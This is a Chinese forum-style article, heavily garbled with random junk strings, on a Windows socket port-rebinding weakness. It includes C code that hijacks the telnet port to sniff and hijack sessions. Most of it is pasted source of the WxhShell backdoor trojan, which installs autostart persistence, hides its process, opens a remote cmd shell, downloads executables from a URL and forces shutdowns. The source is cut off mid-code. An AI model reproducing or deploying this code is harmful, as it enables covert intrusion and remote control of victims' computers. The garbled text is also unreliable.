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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'cAS>s"$}V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ITEf Q@#jU =fdW H4 saddr.sin_family = AF_INET; ?GtI.flV NB86+2stu saddr.sin_addr.s_addr = htonl(INADDR_ANY); JoZzX{eu" :Bu)cy#/[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _meW9)B sY?wQ: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rx@i.+ !,rF(pz 这意味着什么?意味着可以进行如下的攻击: O3%#Q3c>3 fZLAZMrM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8<32(D{ B-"F67 : 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +(z[8BJl ,U+>Q!$`\^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ue4{h #?eMEws 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dWe%6s;
ep Dp* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J83C]2~7 rW_cLdh]# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VVpJ + M'oZK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \3%3=: S v#,L8f #include MZh?MaBz06 #include \:'6_K #include i70\`6*;B #include ]2ycJ >w DWORD WINAPI ClientThread(LPVOID lpParam); 4L4u< int main() ne 3t|JZ { l Ft&cy2 WORD wVersionRequested; opu)9]`z DWORD ret; rOj(THoc{ WSADATA wsaData; eNM"e- BOOL val; =UWW(^M#[: SOCKADDR_IN saddr; {sj{3I u SOCKADDR_IN scaddr; ) ]<^*b> int err; hJw]hVYa SOCKET s; eb6y-TwY SOCKET sc; {ot6ssT=D int caddsize; ~?)y'? HANDLE mt; AMO{ee7Po DWORD tid; L|1~'Fz#w wVersionRequested = MAKEWORD( 2, 2 ); g:U
-kK!i err = WSAStartup( wVersionRequested, &wsaData ); yS[HYq if ( err != 0 ) { tK'9%yA\ printf("error!WSAStartup failed!\n"); qSD3]Dv" return -1; B<$6Dj%L } o]&P0 b saddr.sin_family = AF_INET; 5Z"N2D)." a1[J> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `0w!& T!pZj_ h= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5B8fz;l= B saddr.sin_port = htons(23); N=~DSsw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P3Ah1X7W"C { e 0Z2B2 printf("error!socket failed!\n"); D~`RLPMk return -1; D$rn?@&g } ?P#\CW val = TRUE; %|f@WxNrU //SO_REUSEADDR选项就是可以实现端口重绑定的 TV0Y{x*~iH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PGVp1TQ { n!lE|if printf("error!setsockopt failed!\n"); [9Tnp]q return -1; "T<7j.P? } MBU4Awj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; No+BS%F5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dldS7Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *YX:e@Fm.a U2~|AkL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X &G]ci { BJLeE}=H ret=GetLastError(); nr(C*E printf("error!bind failed!\n"); -~H
"zu` return -1; HzuG- V } m`Z.xIA7; listen(s,2); 9i{(GO while(1) 6x/o j`_[ { V>UlL&V caddsize = sizeof(scaddr); YhooD,[. //接受连接请求 i~M-V=Zg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <'A-9y]-v if(sc!=INVALID_SOCKET) +Mn(s36f2 { D`.\c#;cN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vkM_a}%< if(mt==NULL) Rt5Xqz\6i { >%n6n! " printf("Thread Creat Failed!\n"); |RqCI9N6 break; U^DR'X= } 4X}TG } ,W/Y@ScC CloseHandle(mt); z U*Mk } Q7UQwAN' closesocket(s); 3hzz*9/n WSACleanup(); L}A2$@ return 0; #!_ViG )2^ } ="Azg8W DWORD WINAPI ClientThread(LPVOID lpParam) <A`SC;k\u { km`";gUp> SOCKET ss = (SOCKET)lpParam; Z-" NLwt[ SOCKET sc; iuM ,aF unsigned char buf[4096]; rsw=a_S SOCKADDR_IN saddr; 2n#H%&^?a long num; }/IP\1bG DWORD val; oJ#;X R DWORD ret; y`/:E<fVk //如果是隐藏端口应用的话,可以在此处加一些判断 :x^e T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 d?cCSf saddr.sin_family = AF_INET; ec*Ni|`Z' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t~qAA\p}o saddr.sin_port = htons(23); IEI&PRD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C*t0`3g
d { cA|
n*A-j< printf("error!socket failed!\n"); 3#\C!T0y return -1; i~5'bSqc } =Pp-9<&S val = 100; 60D6UW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &b-&0rTqz { mT; ret = GetLastError(); zU4*FXt return -1; ,XN4Iy#BZl } U><$p{) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gzlRK^5 { Wrt5eYy ret = GetLastError(); KmqgP`Cu return -1; Tl?jq] } ,.;{J|4P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O
>@Q>Z8W? { :SZi4:4-J8 printf("error!socket connect failed!\n"); i.FdZN{ closesocket(sc); xsvJjs;= closesocket(ss); UA4MtTp` return -1; 9tmnx')_ } GK3cQw while(1) ?]+!gz1 { >J:liB|( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8zjJshE/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 tCu.Fc@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ty3.u9c4 num = recv(ss,buf,4096,0); uNqN &7g if(num>0) <^ratz!- send(sc,buf,num,0); 7$*x&We else if(num==0) zIr-Rx'dL^ break; 5)->.* G* num = recv(sc,buf,4096,0); X8~?uroq if(num>0) EQ"+G[j~x send(ss,buf,num,0); Z8f?uF else if(num==0) 20:![/7:! break; <" 0b8 Z } P#rS.CIh closesocket(ss); 6;M{suG| closesocket(sc); _~2o return 0 ; e Dpt1 } SI=7$8T5=5 WP^wNi
~> v[jg|s&6" ========================================================== $j4/ohwTDY &,\my-4c> 下边附上一个代码,,WXhSHELL wz Y{ii EK\xc'6M ========================================================== 3]7j,1^ ws$kwSHq #include "stdafx.h" xA0=C m;U_oxb #include <stdio.h> UunZ/A$]m #include <string.h> w,0OO
f #include <windows.h> 3 k/X;:,. #include <winsock2.h> Q4g69IE #include <winsvc.h> F U)=+m #include <urlmon.h> SXNde@%
{ 74c5\UxA #pragma comment (lib, "Ws2_32.lib") =yPV9#(I/ #pragma comment (lib, "urlmon.lib") I`x[1%y2 F s+h}O}RV #define MAX_USER 100 // 最大客户端连接数 Sh:_YD^( #define BUF_SOCK 200 // sock buffer
| 1a}p #define KEY_BUFF 255 // 输入 buffer ^bLFY9hSC o76{;Bl\O #define REBOOT 0 // 重启 x((Rm_' #define SHUTDOWN 1 // 关机 .
\8"f]~ eEYzA #define DEF_PORT 5000 // 监听端口 Fnd_\`9{ 4MCj*ok< #define REG_LEN 16 // 注册表键长度 z]&?}o #define SVC_LEN 80 // NT服务名长度 g#G ]}8C _auFt"n // 从dll定义API ~*e@^Nv)v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7s Gf_`Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P]2V~I/X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !1
Y[e^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a/[)A _- Tz&h[+ 6` // wxhshell配置信息 v]}\Ns/ struct WSCFG { YhP+{Y8t int ws_port; // 监听端口 4v9d&
m!< char ws_passstr[REG_LEN]; // 口令 s|k&@jH) int ws_autoins; // 安装标记, 1=yes 0=no TK0W=&6#A char ws_regname[REG_LEN]; // 注册表键名 OMBH[_ char ws_svcname[REG_LEN]; // 服务名 \Qf2:[-V0 char ws_svcdisp[SVC_LEN]; // 服务显示名 W<$!H
V$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 bYr*rEcA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F'T.-lEO_d int ws_downexe; // 下载执行标记, 1=yes 0=no X3?RwN:P char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Zb:Z,O(vn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D[Q/:_2l 2G_]Y8 }; /-+hMYe 7j88^59 // default Wxhshell configuration Z,V<&9a; struct WSCFG wscfg={DEF_PORT, K87yQOjPv "xuhuanlingzhe", 1jpft3*x 1, RNt9Qdr4y "Wxhshell", '($$-P\/ "Wxhshell", %l!-rXp "WxhShell Service", ZVrZkd` "Wrsky Windows CmdShell Service", fm!\**Q1 "Please Input Your Password: ", |OuIQhoE 1, _ER. AKY " http://www.wrsky.com/wxhshell.exe", `^|l+TJG "Wxhshell.exe" JoD@e[( }; e`Co =' Of}C.N8 // 消息定义模块 RrdLh z2N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7R5+Q\W char *msg_ws_prompt="\n\r? for help\n\r#>"; 1\g r
;b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `O`MW} c char *msg_ws_ext="\n\rExit.";
*U`R<mV\ char *msg_ws_end="\n\rQuit."; AS'+p %( char *msg_ws_boot="\n\rReboot..."; 8isQL char *msg_ws_poff="\n\rShutdown..."; =q*c}8R_0 char *msg_ws_down="\n\rSave to "; ZH~Wn#Wp DcE4r>8B char *msg_ws_err="\n\rErr!"; |7${E^u char *msg_ws_ok="\n\rOK!"; ux6p2Sk;K k *>"@ char ExeFile[MAX_PATH]; 7xfS%'=y" int nUser = 0; %"WhD'*z} HANDLE handles[MAX_USER]; \s!x;nw[ int OsIsNt; pF(6M3>IN #$F*.vQSs+ SERVICE_STATUS serviceStatus; kdaq_O:s SERVICE_STATUS_HANDLE hServiceStatusHandle; )KGz -!1c 1MmEP // 函数声明 gEw9<Y int Install(void); vin3
i&k int Uninstall(void); Eu%E2A|`I int DownloadFile(char *sURL, SOCKET wsh); (6b0rqPF int Boot(int flag); /U`p|M; void HideProc(void); }daU/ int GetOsVer(void); Wfy+9"-;s int Wxhshell(SOCKET wsl); ^x_$%8 void TalkWithClient(void *cs); E'NS$,h int CmdShell(SOCKET sock); YOUB%N9+ int StartFromService(void); =|2F? int StartWxhshell(LPSTR lpCmdLine); X#zp,7j? S)/548=` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jmcys
_N3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); _]{LjJ!M (H\ `/%Bp // 数据结构和表定义 hDQk zqW SERVICE_TABLE_ENTRY DispatchTable[] = i1'G_bo4F7 { 5>ktr)] {wscfg.ws_svcname, NTServiceMain}, F!p;]B {NULL, NULL} cDK)zD }; Vhr 6bu] 6YV"H // 自我安装 N(2M
w:} int Install(void) ]&dPY[~,/i { ;>S|?M4GZ char svExeFile[MAX_PATH]; Q7i(M >|O HKEY key; ?7J::}R strcpy(svExeFile,ExeFile); &I%E8E *LuRo // 如果是win9x系统,修改注册表设为自启动 4C;y2`C if(!OsIsNt) { Kr;=4xg= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G*jq5_6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +L@\/=;G RegCloseKey(key); <lLJf8OK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M?GkHJ %! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ia3!&rZ RegCloseKey(key); rm-;Z< return 0; USS%T<Vk } X*:,| } E0yx
@Vx } i0J`{PbI else { %wI)uJ2 sZEa8 // 如果是NT以上系统,安装为系统服务 S_ UAz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dZI["FeO&d if (schSCManager!=0) 67
~p n { >#Xz~xI/I SC_HANDLE schService = CreateService c?REDj2 ( uGm?e]7Hx< schSCManager, FFN Sn wscfg.ws_svcname,
[;4;.V wscfg.ws_svcdisp, g-1j#V`5 SERVICE_ALL_ACCESS, X$6QQnyR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xo&\~b#- SERVICE_AUTO_START, cbs ; SERVICE_ERROR_NORMAL, adAdX;@e` svExeFile, !l Egta[Ql NULL, F^aD# NULL, WtaOf_ NULL, `j!_tE` NULL, E.+%b;Eqe NULL 9NNXj^7 ); O.-n&U9 if (schService!=0) $EEn]y
{ WuFBt=% CloseServiceHandle(schService); TdT`Vf CloseServiceHandle(schSCManager); =LKM)d=1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D$*o}*mb strcat(svExeFile,wscfg.ws_svcname); Yl:[b{Py if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WglpWp) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &%;n9K RegCloseKey(key); o*ucw3s> return 0; iz{TSU } e9tb]sAG } u6Wan*I? CloseServiceHandle(schSCManager); Y_EEnx&>i } +!!G0Zj/ } K+XUC %>6ilGQ+ return 1; e-[PuJ } &I(\:|`o pnyu&@e // 自我卸载 Bq1}"092 int Uninstall(void) ewHs ]V+U { !n P4S)A HKEY key; Q\T?t 8 H3u" if(!OsIsNt) { kFC*, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nc\2A>f` RegDeleteValue(key,wscfg.ws_regname); 0:<Y@#L RegCloseKey(key); +."cbqGP_q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k_ywwkG9lU RegDeleteValue(key,wscfg.ws_regname); <VutwtA RegCloseKey(key); ~fb#/%SV return 0; ZoSyc--Bv } :FfEjNil } f}p`<z } &/ED.K else { RqP_^tB &q9=0So4\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^y KkWB* if (schSCManager!=0) BzkfB:wr { i3Bpim. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4>LaA7)v if (schService!=0) q=D8 Nz { &;)B
qqXc if(DeleteService(schService)!=0) { K~I?i/P=z CloseServiceHandle(schService); dr+(C[= CloseServiceHandle(schSCManager); `j9\]50Z> return 0; Xt$P!~Lu } rpDBKo CloseServiceHandle(schService); E2YVl%. } Y6Cm
PxOQ CloseServiceHandle(schSCManager); oP%5ymL%J } 0"T/a1S7bl } &vt)7[ o3GkTn O return 1; G5K?Q+n
} "bF52lLu QKB+mjMH#x // 从指定url下载文件 5u;//Cm int DownloadFile(char *sURL, SOCKET wsh) ,(zV~-:9 { Tsj/alC[ HRESULT hr; ~cfXEjE6 char seps[]= "/"; *w O~RnP char *token; HKI\i)c char *file; _SOwiz char myURL[MAX_PATH]; FQ1B%u| char myFILE[MAX_PATH]; s}OL)rW=} 9+PAyI#w strcpy(myURL,sURL); |iX>hJSl token=strtok(myURL,seps); 0B!(i.w while(token!=NULL) g,!.`[e'ex { dE_"|,: file=token; )h&@}#A09 token=strtok(NULL,seps); (dD7"zQ } 6 U[VoUU X[1D$1Dvw GetCurrentDirectory(MAX_PATH,myFILE); -]Su+/3(, strcat(myFILE, "\\"); r|DIf28MIq strcat(myFILE, file); C=@4U} send(wsh,myFILE,strlen(myFILE),0); (=;'>*L( send(wsh,"...",3,0); + xO3<u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w0oTV;yh if(hr==S_OK) CEaAtAM return 0; qHdUnW else , QWus"5H return 1; W02z}"# v<g=uEpN } l~f3J$OkJ 4g8o~JI:v // 系统电源模块 =E%@8ZbK int Boot(int flag) adIrrK { zIu/!aw HANDLE hToken; *jWh4F, TOKEN_PRIVILEGES tkp; f$kbb6juL G'#u!<(^h if(OsIsNt) { +hr|$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l!Xj UnRF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +~aIT=i3 tkp.PrivilegeCount = 1; ncOgSj7e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l&U$LN$*e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wv." if(flag==REBOOT) { ^uN[rHZ*u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a{Y|`*7y return 0; f<VK\%M } M!Ao!D[ else { 0#eb] c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OUF%DMl4 return 0; gj
@9(dk% } cnQ2/ZZp~ } 3~Fag1Hp else { >!s<JKhI if(flag==REBOOT) { D6Aa5&rO+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =<p=?16
x return 0; BO7HJF)a } P(b[|QF else { av|T|J/( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FGHCHSqLq return 0; 2&n6:"u| } YX-j|m| } X5VNj|IE +~iiy;i( return 1; %sOY:>
} RH<2f5-sC! =Q<7[ // win9x进程隐藏模块 +
c3pe4 void HideProc(void) ?{aJ#w { 03v& k df@N V Ld HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S sW<,T if ( hKernel != NULL ) Aipm=C8 { cxSHSv1; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {\0V$#q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @XM*N7 FreeLibrary(hKernel); 'Gc{cNbXIA } Z^%a 1>`
6A]I" E]5 return; 6P717[ } DMG'8\5C "IzAvKPM // 获取操作系统版本 RIXeV*ix int GetOsVer(void) |6bvUFr { oj Y.6w OSVERSIONINFO winfo; ~nmFZ]y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X5/fy"g& GetVersionEx(&winfo); 6[ 3 K@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "q M return 1; JfWkg`LqL else FsWp>}o return 0; ph6'(, } G6a 2] /96lvn]8lO // 客户端句柄模块 dV
:} int Wxhshell(SOCKET wsl) \u[} { 1q-;+Pd; SOCKET wsh; *6AV^^ struct sockaddr_in client; *`u|1}h| DWORD myID; iw/~t a'jUM+D; while(nUser<MAX_USER) /"D,gn1S* { lkTA"8d int nSize=sizeof(client); iv +a5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g_c@Kyf if(wsh==INVALID_SOCKET) return 1; sYDav)L. ;k `51=Wi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !;*flr`/ if(handles[nUser]==0) b_F1?:# closesocket(wsh); )2Sh oFF else v5a\}S<( nUser++; Ly8=SIZ } bHRn}K+<}c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xJ{r9~ W;7$Dq: return 0; mwLf)xt0' } 96~y\X@x LJPJENtFIs // 关闭 socket "zY~*3d void CloseIt(SOCKET wsh) (BP p2^ { +%\Ci!%b closesocket(wsh); CqC
)H7A nUser--; $eI
cCLF ExitThread(0); 81y<Uz 6 } K<5yjG8& X/:V{2 // 客户端请求句柄 &}e>JgBe0 void TalkWithClient(void *cs) ,NZllnW { ANBuX6q z;oia!9z SOCKET wsh=(SOCKET)cs; TIiYic!_~ char pwd[SVC_LEN]; ,P}7e)3 char cmd[KEY_BUFF]; hGV_K" ~I0 char chr[1]; o5&b'WUJ= int i,j; :
pUu_ .tG3g: while (nUser < MAX_USER) { ,hI$nF0}p vFdI?(c- if(wscfg.ws_passstr) { V':A! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3GE;:;8B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1T|")D //ZeroMemory(pwd,KEY_BUFF); `B3-#!2X i=0; Izu____ while(i<SVC_LEN) { 4w ,L w%qnH e9 // 设置超时 X:Wd%CHP fd_set FdRead; v.8kGF struct timeval TimeOut;
n4dNGp7\` FD_ZERO(&FdRead); H}~K51 FD_SET(wsh,&FdRead); *Oy*
\cX2[ TimeOut.tv_sec=8; 0;><@{' TimeOut.tv_usec=0; #N`G2}1J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E`JW4)AH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R_/;U&R :$u[1&6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6~0kb_td pwd =chr[0]; )cizd^{ if(chr[0]==0xd || chr[0]==0xa) { 5[X%17&t pwd=0; <t(H+ykh break; 02[m{a- } ](R
/4 i++; 5<*ES[S } J61%a,es r-$xLe7a // 如果是非法用户,关闭 socket q>'#; QA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {~O4*2zg;K } !5De?OXe
\8C<nh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #n+u>x.O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iYT?6Y|+ )tJaw#Mih while(1) { Ln&~t(7 Z+U -+eG ZeroMemory(cmd,KEY_BUFF); ',`Qx{tQ) aE)1LP // 自动支持客户端 telnet标准 `)8~/G% j=0; _GxC|d while(j<KEY_BUFF) { f9#srIx+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {'+{ASpO! cmd[j]=chr[0]; `+< ^Svou if(chr[0]==0xa || chr[0]==0xd) { >2>/
q? cmd[j]=0; HN`qMGW^ break; Co nik` } ?m~1b_@A{ j++; 9>-6Y }
YMv}] &@@PJ!& // 下载文件 w?u3e+ if(strstr(cmd,"http://")) { Mn&_R{{= send(wsh,msg_ws_down,strlen(msg_ws_down),0); !l#aq\:}~e if(DownloadFile(cmd,wsh)) i ?pd|J send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\A_-a_(# else 8%;Wyqdf] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 30WOH
'n } 9teP4H}m else { 0/]h"5H3 &8i$`6wY switch(cmd[0]) { `~d7l@6F RYvdfj.ij // 帮助 DRRQ]eK0 case '?': { CB>W# P% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (|AZO! break; X(E`cH
| } )b]!IP3 // 安装 ENqZ=Lyq case 'i': { %pxJ2 7Q if(Install()) rlh:|#GTJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); y-H9fWi8Y& else EZiLXQd_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `,~'T [ break; \(Nx)F } j<!dpt // 卸载 aTm R~k case 'r': { z0\
$#r^I if(Uninstall()) tQNc+>7k+u send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2*_7_Qb else ?;UR9f|! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bnL!PsG$K, break; 93.\.&L\ } '")'h // 显示 wxhshell 所在路径 `"ks0@^U case 'p': { %k?/pRv$> char svExeFile[MAX_PATH]; AfO.D?4x strcpy(svExeFile,"\n\r"); M]Vi]s strcat(svExeFile,ExeFile); NL|c5y<r send(wsh,svExeFile,strlen(svExeFile),0); 7P2(q break; p9G+la~;VM } Zp[>[1@+ // 重启 Ii}{{1N6 case 'b': { go=xx.WJ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yR{rje* if(Boot(REBOOT)) ul_E{v send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"_W1}^ else { pLF,rOb closesocket(wsh); 'W9[Vm ExitThread(0); qF(i1# } sd+_NtH break; =pmG.>Si } 4s%zvRu // 关机 vCt][WX( case 'd': { : i.5
<f send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <f}:YDY' if(Boot(SHUTDOWN)) ;,]4A{| send(wsh,msg_ws_err,strlen(msg_ws_err),0); I_Lm[ else { X7K{P_5l closesocket(wsh); I8@leT\9M ExitThread(0); '-f` 5 X } Ux^ue9 break; {I0!q"sF } &.2%p // 获取shell 5G'2 Wby'# case 's': { a(fiW%eFb CmdShell(wsh); }+`,AC`RM closesocket(wsh); Q:
-& ExitThread(0); 46
0/eW\ break; gGCr~.5 } d^~yUk // 退出
Rq2bj_ j case 'x': { h*<`ct xL send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6*$A/D CloseIt(wsh); dj] O break; 6IK>v*< } 5IzCQqOPgX // 离开
mPPB"uQ case 'q': { U74L:&yLI send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9_svtO ]P closesocket(wsh); nzAySMD_ WSACleanup(); e$QMR.' exit(1); @HI@PZ> break; &uaSp,L } gL|
9hvHr[ } 01
+#2~S } 8(NS;? =kq<J-:#R // 提示信息 beYGP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wS$ 'gKA6 } {EoZ}I } )9/iH( k'F*uS
return; "\~>[on } iV@\v0k oWDn_GnG`h // shell模块句柄 `T%nGV l>\ int CmdShell(SOCKET sock) =*-ac { LoJEchRK STARTUPINFO si; r
da: ~ ZeroMemory(&si,sizeof(si)); .;bU["fn) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Bx0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =b )!l9TX PROCESS_INFORMATION ProcessInfo; (yEU9R$I" char cmdline[]="cmd"; 71<4q{n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tmoclK- return 0; ?a,`{1m0\ } ?)Gb= %qrUP\rn // 自身启动模式 E\Iz:ES^ int StartFromService(void) WqCER^~'> { pK>/c>de typedef struct ~S
:8M<aB { ]5j>O^c< DWORD ExitStatus; }HbUB$5 DWORD PebBaseAddress; $_a/!)bP DWORD AffinityMask; VJr ~h
"[ DWORD BasePriority; wB[
